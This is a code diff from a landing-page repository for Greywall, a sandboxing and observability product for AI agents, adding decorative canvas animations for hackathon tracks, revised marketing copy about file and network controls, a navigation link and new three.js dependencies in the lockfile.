const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
const particles: { x: number; y: number; vy: number; size: number; alpha: number }[] = []
|
||||
for (let i = 0; i < 30; i++) {
|
||||
particles.push({
|
||||
x: Math.random() * 250,
|
||||
y: Math.random() * 300,
|
||||
vy: -0.2 - Math.random() * 0.5,
|
||||
size: 1 + Math.random() * 2,
|
||||
alpha: 0.15 + Math.random() * 0.35,
|
||||
})
|
||||
}
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.02
|
||||
|
||||
// Flowing wave lines
|
||||
for (let line = 0; line < 4; line++) {
|
||||
ctx.beginPath()
|
||||
const baseY = h * 0.25 + line * (h * 0.15)
|
||||
for (let x = 0; x <= w; x += 2) {
|
||||
const y = baseY + Math.sin(x * 0.03 + t + line * 1.5) * 12 + Math.sin(x * 0.015 + t * 0.7) * 8
|
||||
if (x === 0) ctx.moveTo(x, y)
|
||||
else ctx.lineTo(x, y)
|
||||
}
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 + line * 0.03})`
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Particles
|
||||
particles.forEach((p) => {
|
||||
ctx.beginPath()
|
||||
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(217, 94, 42, ${p.alpha})`
|
||||
ctx.fill()
|
||||
|
||||
p.y += p.vy
|
||||
if (p.y < -5) { p.y = h + 5; p.x = Math.random() * w }
|
||||
})
|
||||
|
||||
// Connections between close particles
|
||||
for (let i = 0; i < particles.length; i++) {
|
||||
for (let j = i + 1; j < particles.length; j++) {
|
||||
const dx = particles[i].x - particles[j].x
|
||||
const dy = particles[i].y - particles[j].y
|
||||
const dist = Math.sqrt(dx * dx + dy * dy)
|
||||
if (dist < 60) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(particles[i].x, particles[i].y)
|
||||
ctx.lineTo(particles[j].x, particles[j].y)
|
||||
ctx.strokeStyle = `rgba(217, 94, 42, ${0.06 * (1 - dist / 60)})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Pulsing lock with rings (Track 2) ─── */
|
||||
|
||||
export function SecureViz() {
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Pulsing rings */}
|
||||
<div className="absolute w-20 h-20 rounded-full border border-emerald-500/15 animate-ping [animation-duration:3s]" />
|
||||
<div className="absolute w-32 h-32 rounded-full border border-emerald-500/8 animate-ping [animation-duration:4s] [animation-delay:0.5s]" />
|
||||
<div className="absolute w-44 h-44 rounded-full border border-emerald-500/[0.04] animate-ping [animation-duration:5s] [animation-delay:1s]" />
|
||||
|
||||
{/* Rotating orbit */}
|
||||
<svg className="absolute w-28 h-28 animate-[spin_15s_linear_infinite]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.12)" strokeWidth="0.8" strokeDasharray="4 6" />
|
||||
</svg>
|
||||
<svg className="absolute w-40 h-40 animate-[spin_25s_linear_infinite_reverse]" viewBox="0 0 100 100" fill="none">
|
||||
<circle cx="50" cy="50" r="45" stroke="rgba(16,185,129,0.07)" strokeWidth="0.5" strokeDasharray="2 8" />
|
||||
</svg>
|
||||
|
||||
{/* Orbiting dots */}
|
||||
<div className="absolute w-24 h-24 animate-[spin_6s_linear_infinite]">
|
||||
<div className="absolute top-0 left-1/2 -translate-x-1/2 w-1.5 h-1.5 rounded-full bg-emerald-400/50" />
|
||||
</div>
|
||||
<div className="absolute w-36 h-36 animate-[spin_10s_linear_infinite_reverse]">
|
||||
<div className="absolute bottom-0 left-1/2 -translate-x-1/2 w-1 h-1 rounded-full bg-emerald-400/30" />
|
||||
</div>
|
||||
|
||||
{/* Center lock */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-emerald-500/10 border border-emerald-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-emerald-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<rect width="18" height="11" x="3" y="11" rx="2" ry="2" />
|
||||
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
|
||||
<circle cx="12" cy="16" r="1" fill="currentColor" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Radar sweep (Track 3 — Derail Detection) ─── */
|
||||
|
||||
export function RadarViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const blips = Array.from({ length: 6 }, () => ({
|
||||
angle: Math.random() * Math.PI * 2,
|
||||
dist: 0.3 + Math.random() * 0.55,
|
||||
flash: 0,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.012
|
||||
|
||||
const cx = w / 2, cy = h / 2
|
||||
const maxR = Math.min(w, h) * 0.42
|
||||
|
||||
// Concentric rings
|
||||
for (let i = 1; i <= 3; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(cx, cy, maxR * (i / 3), 0, Math.PI * 2)
|
||||
ctx.strokeStyle = `rgba(245, 158, 11, ${0.06 + i * 0.02})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Cross lines
|
||||
ctx.strokeStyle = 'rgba(245, 158, 11, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath(); ctx.moveTo(cx - maxR, cy); ctx.lineTo(cx + maxR, cy); ctx.stroke()
|
||||
ctx.beginPath(); ctx.moveTo(cx, cy - maxR); ctx.lineTo(cx, cy + maxR); ctx.stroke()
|
||||
|
||||
// Sweep line
|
||||
const sweepAngle = t * 1.5
|
||||
const sx = cx + Math.cos(sweepAngle) * maxR
|
||||
const sy = cy + Math.sin(sweepAngle) * maxR
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx, cy)
|
||||
ctx.lineTo(sx, sy)
|
||||
ctx.strokeStyle = 'rgba(245, 158, 11, 0.3)'
|
||||
ctx.lineWidth = 1
|
||||
ctx.stroke()
|
||||
|
||||
// Sweep trail (fading arc segments)
|
||||
const trailLength = 0.6
|
||||
const segments = 12
|
||||
for (let s = 0; s < segments; s++) {
|
||||
const frac = s / segments
|
||||
const a0 = sweepAngle - trailLength * (1 - frac)
|
||||
const a1 = sweepAngle - trailLength * (1 - (s + 1) / segments)
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx, cy)
|
||||
ctx.arc(cx, cy, maxR, a0, a1)
|
||||
ctx.closePath()
|
||||
ctx.fillStyle = `rgba(245, 158, 11, ${frac * 0.08})`
|
||||
ctx.fill()
|
||||
}
|
||||
|
||||
// Blips
|
||||
blips.forEach((b) => {
|
||||
const angleDiff = ((sweepAngle % (Math.PI * 2)) - b.angle + Math.PI * 4) % (Math.PI * 2)
|
||||
if (angleDiff < 0.15) b.flash = 1
|
||||
b.flash *= 0.96
|
||||
if (b.flash > 0.01) {
|
||||
const bx = cx + Math.cos(b.angle) * maxR * b.dist
|
||||
const by = cy + Math.sin(b.angle) * maxR * b.dist
|
||||
ctx.beginPath()
|
||||
ctx.arc(bx, by, 2 + b.flash * 2, 0, Math.PI * 2)
|
||||
ctx.fillStyle = `rgba(245, 158, 11, ${b.flash * 0.6})`
|
||||
ctx.fill()
|
||||
}
|
||||
})
|
||||
|
||||
// Center dot
|
||||
ctx.beginPath()
|
||||
ctx.arc(cx, cy, 2.5, 0, Math.PI * 2)
|
||||
ctx.fillStyle = 'rgba(245, 158, 11, 0.5)'
|
||||
ctx.fill()
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Scanning grid (Track 4 — Malicious Request Detection) ─── */
|
||||
|
||||
export function ScanViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const cells = Array.from({ length: 40 }, () => ({
|
||||
col: Math.floor(Math.random() * 8),
|
||||
row: Math.floor(Math.random() * 10),
|
||||
threat: Math.random() < 0.25,
|
||||
flash: 0,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.015
|
||||
|
||||
const cellW = w / 8, cellH = h / 10
|
||||
|
||||
// Grid lines
|
||||
for (let i = 0; i <= 8; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(i * cellW, 0); ctx.lineTo(i * cellW, h)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
for (let i = 0; i <= 10; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(0, i * cellH); ctx.lineTo(w, i * cellH)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.stroke()
|
||||
}
|
||||
|
||||
// Scan line (horizontal, sweeping down)
|
||||
const scanY = (t * 0.5 % 1) * h
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(0, scanY); ctx.lineTo(w, scanY)
|
||||
ctx.strokeStyle = 'rgba(6, 182, 212, 0.4)'
|
||||
ctx.lineWidth = 1.5
|
||||
ctx.stroke()
|
||||
|
||||
// Scan line glow
|
||||
const scanGrad = ctx.createLinearGradient(0, scanY - 30, 0, scanY)
|
||||
scanGrad.addColorStop(0, 'rgba(6, 182, 212, 0)')
|
||||
scanGrad.addColorStop(1, 'rgba(6, 182, 212, 0.06)')
|
||||
ctx.fillStyle = scanGrad
|
||||
ctx.fillRect(0, scanY - 30, w, 30)
|
||||
|
||||
// Cells
|
||||
cells.forEach((c) => {
|
||||
const cellY = c.row * cellH + cellH / 2
|
||||
if (Math.abs(scanY - cellY) < cellH * 0.7) c.flash = 1
|
||||
c.flash *= 0.97
|
||||
|
||||
if (c.flash > 0.01) {
|
||||
const x = c.col * cellW + cellW * 0.15
|
||||
const y = c.row * cellH + cellH * 0.15
|
||||
const cw = cellW * 0.7, ch = cellH * 0.7
|
||||
ctx.fillStyle = c.threat
|
||||
? `rgba(239, 68, 68, ${c.flash * 0.15})`
|
||||
: `rgba(6, 182, 212, ${c.flash * 0.08})`
|
||||
ctx.fillRect(x, y, cw, ch)
|
||||
|
||||
if (c.threat && c.flash > 0.3) {
|
||||
ctx.strokeStyle = `rgba(239, 68, 68, ${c.flash * 0.3})`
|
||||
ctx.lineWidth = 0.8
|
||||
ctx.strokeRect(x, y, cw, ch)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
|
||||
/* ─── Floating code snippets (Track 5 — Response Rewriting) ─── */
|
||||
|
||||
export function ExtendViz() {
|
||||
const snippets = [
|
||||
{ x: '10%', y: '12%', text: 'fn extend()', delay: '0s' },
|
||||
{ x: '45%', y: '8%', text: '<Plugin />', delay: '0.8s' },
|
||||
{ x: '20%', y: '45%', text: '.hook()', delay: '1.2s' },
|
||||
{ x: '55%', y: '42%', text: 'export', delay: '0.4s' },
|
||||
{ x: '15%', y: '75%', text: 'pipe()', delay: '1.6s' },
|
||||
{ x: '50%', y: '78%', text: 'import', delay: '0.6s' },
|
||||
]
|
||||
|
||||
return (
|
||||
<div className="absolute inset-0 flex items-center justify-center">
|
||||
{/* Radiating lines */}
|
||||
<svg className="absolute inset-0 w-full h-full opacity-40" viewBox="0 0 200 200" preserveAspectRatio="xMidYMid meet">
|
||||
{[0, 45, 90, 135, 180, 225, 270, 315].map((angle) => {
|
||||
const rad = (angle * Math.PI) / 180
|
||||
return (
|
||||
<line
|
||||
key={angle}
|
||||
x1="100" y1="100"
|
||||
x2={100 + Math.cos(rad) * 90} y2={100 + Math.sin(rad) * 90}
|
||||
stroke="rgba(139, 92, 246, 0.08)"
|
||||
strokeWidth="0.5"
|
||||
strokeDasharray="2 4"
|
||||
/>
|
||||
)
|
||||
})}
|
||||
</svg>
|
||||
|
||||
{/* Floating snippets */}
|
||||
{snippets.map((s, i) => (
|
||||
<div
|
||||
key={i}
|
||||
className="absolute font-mono text-[9px] px-1.5 py-1 rounded bg-violet-500/8 border border-violet-500/15 text-violet-300/40 animate-pulse whitespace-nowrap"
|
||||
style={{ left: s.x, top: s.y, animationDelay: s.delay, animationDuration: '3s' }}
|
||||
>
|
||||
{s.text}
|
||||
</div>
|
||||
))}
|
||||
|
||||
{/* Center node */}
|
||||
<div className="relative z-10 w-14 h-14 rounded-xl bg-violet-500/10 border border-violet-500/20 flex items-center justify-center">
|
||||
<svg className="w-6 h-6 text-violet-400" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5" strokeLinecap="round" strokeLinejoin="round">
|
||||
<polyline points="16 18 22 12 16 6" /><polyline points="8 6 2 12 8 18" />
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Benchmark grid (Track 6 — Control Evaluation Benchmark) ─── */
|
||||
|
||||
export function BenchViz() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const canvas = canvasRef.current
|
||||
if (!canvas) return
|
||||
const ctx = canvas.getContext('2d')
|
||||
if (!ctx) return
|
||||
|
||||
const dpr = window.devicePixelRatio || 1
|
||||
let w = 0, h = 0
|
||||
|
||||
const resize = () => {
|
||||
const rect = canvas.getBoundingClientRect()
|
||||
w = rect.width
|
||||
h = rect.height
|
||||
canvas.width = w * dpr
|
||||
canvas.height = h * dpr
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
|
||||
}
|
||||
resize()
|
||||
|
||||
let t = 0
|
||||
let animId: number
|
||||
|
||||
const cols = 6, rows = 8
|
||||
const cells = Array.from({ length: cols * rows }, (_, i) => ({
|
||||
pass: Math.random() > 0.25,
|
||||
revealAt: Math.random() * 4 + (Math.floor(i / cols)) * 0.3,
|
||||
pulsePhase: Math.random() * Math.PI * 2,
|
||||
}))
|
||||
|
||||
const draw = () => {
|
||||
ctx.clearRect(0, 0, w, h)
|
||||
t += 0.016
|
||||
|
||||
const padX = w * 0.08, padY = h * 0.06
|
||||
const cellW = (w - padX * 2) / cols
|
||||
const cellH = (h - padY * 2) / rows
|
||||
const gap = 2.5
|
||||
const loopT = t % 6
|
||||
|
||||
cells.forEach((cell, i) => {
|
||||
const col = i % cols
|
||||
const row = Math.floor(i / cols)
|
||||
const x = padX + col * cellW + gap
|
||||
const y = padY + row * cellH + gap
|
||||
const cw = cellW - gap * 2
|
||||
const ch = cellH - gap * 2
|
||||
const r = Math.min(cw, ch) * 0.15
|
||||
|
||||
if (loopT < cell.revealAt) {
|
||||
// Not yet revealed — dim outline
|
||||
ctx.strokeStyle = 'rgba(244, 63, 94, 0.06)'
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
return
|
||||
}
|
||||
|
||||
// Reveal animation
|
||||
const revealProgress = Math.min((loopT - cell.revealAt) * 2, 1)
|
||||
const pulse = Math.sin(t * 2 + cell.pulsePhase) * 0.15 + 0.85
|
||||
|
||||
if (cell.pass) {
|
||||
// Pass — rose/green tint
|
||||
ctx.fillStyle = `rgba(74, 222, 128, ${0.12 * revealProgress * pulse})`
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.fill()
|
||||
|
||||
ctx.strokeStyle = `rgba(74, 222, 128, ${0.25 * revealProgress})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
|
||||
// Checkmark
|
||||
if (revealProgress > 0.5) {
|
||||
const alpha = (revealProgress - 0.5) * 2
|
||||
const cx = x + cw / 2, cy = y + ch / 2
|
||||
const s = Math.min(cw, ch) * 0.2
|
||||
ctx.strokeStyle = `rgba(74, 222, 128, ${0.5 * alpha})`
|
||||
ctx.lineWidth = 1.2
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx - s * 0.6, cy)
|
||||
ctx.lineTo(cx - s * 0.1, cy + s * 0.5)
|
||||
ctx.lineTo(cx + s * 0.6, cy - s * 0.4)
|
||||
ctx.stroke()
|
||||
}
|
||||
} else {
|
||||
// Fail — red tint
|
||||
ctx.fillStyle = `rgba(244, 63, 94, ${0.15 * revealProgress * pulse})`
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.fill()
|
||||
|
||||
ctx.strokeStyle = `rgba(244, 63, 94, ${0.3 * revealProgress})`
|
||||
ctx.lineWidth = 0.5
|
||||
ctx.beginPath()
|
||||
ctx.roundRect(x, y, cw, ch, r)
|
||||
ctx.stroke()
|
||||
|
||||
// X mark
|
||||
if (revealProgress > 0.5) {
|
||||
const alpha = (revealProgress - 0.5) * 2
|
||||
const cx = x + cw / 2, cy = y + ch / 2
|
||||
const s = Math.min(cw, ch) * 0.18
|
||||
ctx.strokeStyle = `rgba(244, 63, 94, ${0.5 * alpha})`
|
||||
ctx.lineWidth = 1.2
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(cx - s, cy - s)
|
||||
ctx.lineTo(cx + s, cy + s)
|
||||
ctx.moveTo(cx + s, cy - s)
|
||||
ctx.lineTo(cx - s, cy + s)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Progress bar at bottom
|
||||
const barY = h - padY * 0.6
|
||||
const barH = 2
|
||||
const progress = Math.min(loopT / 5, 1)
|
||||
ctx.fillStyle = 'rgba(244, 63, 94, 0.08)'
|
||||
ctx.fillRect(padX, barY, w - padX * 2, barH)
|
||||
ctx.fillStyle = 'rgba(244, 63, 94, 0.3)'
|
||||
ctx.fillRect(padX, barY, (w - padX * 2) * progress, barH)
|
||||
|
||||
animId = requestAnimationFrame(draw)
|
||||
}
|
||||
draw()
|
||||
|
||||
window.addEventListener('resize', resize)
|
||||
return () => { cancelAnimationFrame(animId); window.removeEventListener('resize', resize) }
|
||||
}, [])
|
||||
|
||||
return <canvas ref={canvasRef} className="absolute inset-0 w-full h-full" style={{ display: 'block' }} />
|
||||
}
|
||||
@@ -18,7 +18,7 @@ export function Hero() {
|
||||
<em className="italic text-primary">Greywall</em> your agent & let it cook.
|
||||
</h1>
|
||||
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto font-serif mb-6">
|
||||
Container-free sandboxing with real-time observability & dynamic controls, for Linux & MacOS.
|
||||
Frictionless sandboxing with real-time observability & dynamic controls, for Linux & macOS.
|
||||
</p>
|
||||
<div className="inline-flex items-center gap-2 flex-wrap justify-center">
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">
|
||||
|
||||
@@ -46,7 +46,7 @@ const macosLayers = [
|
||||
icon: Shield,
|
||||
name: 'Seatbelt Sandbox',
|
||||
tag: 'Core',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Default-deny policy with explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
desc: 'macOS kernel sandbox with dynamically generated profiles. Explicit allowlists for filesystem, network, IPC, and process operations.',
|
||||
detail: 'macOS native',
|
||||
},
|
||||
{
|
||||
@@ -93,7 +93,7 @@ export function Layers() {
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
|
||||
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
: 'macOS Seatbelt blocks everything unless explicitly allowed, before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
|
||||
@@ -36,6 +36,12 @@ export function Nav() {
|
||||
>
|
||||
About
|
||||
</a>
|
||||
<a
|
||||
href="/hackathons"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
>
|
||||
Hackathons
|
||||
</a>
|
||||
<a
|
||||
href="/greyscan"
|
||||
className="text-sm text-primary hover:text-primary/80 transition-colors hidden sm:block font-medium"
|
||||
|
||||
@@ -8,27 +8,27 @@ const slides = [
|
||||
{
|
||||
label: 'Dashboard',
|
||||
src: '/dashboard.png',
|
||||
alt: 'GreyProxy dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
alt: 'Greywall dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
},
|
||||
{
|
||||
label: 'Pending',
|
||||
src: '/pending_requests.png',
|
||||
alt: 'GreyProxy pending network requests with Allow and Deny controls for each domain',
|
||||
alt: 'Greywall pending network requests with Allow and Deny controls for each domain',
|
||||
},
|
||||
{
|
||||
label: 'Rules',
|
||||
src: '/rules.png',
|
||||
alt: 'GreyProxy domain rules configuration showing allow and deny policies per source',
|
||||
alt: 'Greywall domain rules configuration showing allow and deny policies per source',
|
||||
},
|
||||
{
|
||||
label: 'Activity',
|
||||
src: '/activity.png',
|
||||
alt: 'GreyProxy activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
alt: 'Greywall activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
},
|
||||
{
|
||||
label: 'Conversations',
|
||||
src: '/conversations.png',
|
||||
alt: 'GreyProxy conversations view showing agent interactions with tool calls and results',
|
||||
alt: 'Greywall conversations view showing agent interactions with tool calls and results',
|
||||
},
|
||||
]
|
||||
|
||||
@@ -82,12 +82,13 @@ export function Observability() {
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
See every network connection.
|
||||
See every file access and network connection.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
You can't predict which domains your agent will reach for. GreyProxy captures
|
||||
every outbound connection and lets you allow or deny them in real time, without
|
||||
restarting the session.
|
||||
You can't predict which files your agent will read or which domains it will reach
|
||||
for. Greywall learns what the agent needs on your filesystem automatically and
|
||||
captures every outbound connection, letting you adjust policies in real time
|
||||
without restarting the session.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -119,14 +119,17 @@ export function Problem() {
|
||||
|
||||
{/* Resolution: Verification creates trust */}
|
||||
<div className="text-center max-w-3xl mx-auto">
|
||||
<blockquote className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
||||
<p className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
||||
Run in <span className="text-primary">YOLO mode</span> without risking anything outside your project.
|
||||
</p>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto mb-4">
|
||||
The security layer around your tools should be independent of the company selling you the AI.
|
||||
Greywall gives you complete <span className="text-foreground font-medium">observability</span> into
|
||||
what your agent touches and full <span className="text-foreground font-medium">control</span> over what it can reach.
|
||||
</p>
|
||||
<blockquote className="font-serif text-lg sm:text-xl text-muted-foreground italic mb-10">
|
||||
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
||||
</blockquote>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto mb-10">
|
||||
Greywall gives you complete <span className="text-foreground font-medium">observability</span> into
|
||||
every interaction between a model and your system, as well as an
|
||||
ergonomic mechanism for <span className="text-foreground font-medium">control</span>.
|
||||
</p>
|
||||
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
||||
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
||||
<iframe
|
||||
|
||||
708
package-lock.json
generated
708
package-lock.json
generated
@@ -8,6 +8,9 @@
|
||||
"name": "greywall-landing-page",
|
||||
"version": "0.1.0",
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -15,7 +18,8 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1"
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
@@ -41,6 +45,21 @@
|
||||
"url": "https://github.com/sponsors/sindresorhus"
|
||||
}
|
||||
},
|
||||
"node_modules/@babel/runtime": {
|
||||
"version": "7.29.2",
|
||||
"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
|
||||
"integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=6.9.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@dimforge/rapier3d-compat": {
|
||||
"version": "0.12.0",
|
||||
"resolved": "https://registry.npmjs.org/@dimforge/rapier3d-compat/-/rapier3d-compat-0.12.0.tgz",
|
||||
"integrity": "sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@emnapi/runtime": {
|
||||
"version": "1.8.1",
|
||||
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.8.1.tgz",
|
||||
@@ -567,6 +586,24 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.4.14"
|
||||
}
|
||||
},
|
||||
"node_modules/@mediapipe/tasks-vision": {
|
||||
"version": "0.10.17",
|
||||
"resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-0.10.17.tgz",
|
||||
"integrity": "sha512-CZWV/q6TTe8ta61cZXjfnnHsfWIdFhms03M9T7Cnd5y2mdpylJM0rF1qRq+wsQVRMLz1OYPVEBU9ph2Bx8cxrg==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@monogrid/gainmap-js": {
|
||||
"version": "3.4.0",
|
||||
"resolved": "https://registry.npmjs.org/@monogrid/gainmap-js/-/gainmap-js-3.4.0.tgz",
|
||||
"integrity": "sha512-2Z0FATFHaoYJ8b+Y4y4Hgfn3FRFwuU5zRrk+9dFWp4uGAdHGqVEdP7HP+gLA3X469KXHmfupJaUbKo1b/aDKIg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"promise-worker-transferable": "^1.0.4"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "16.0.10",
|
||||
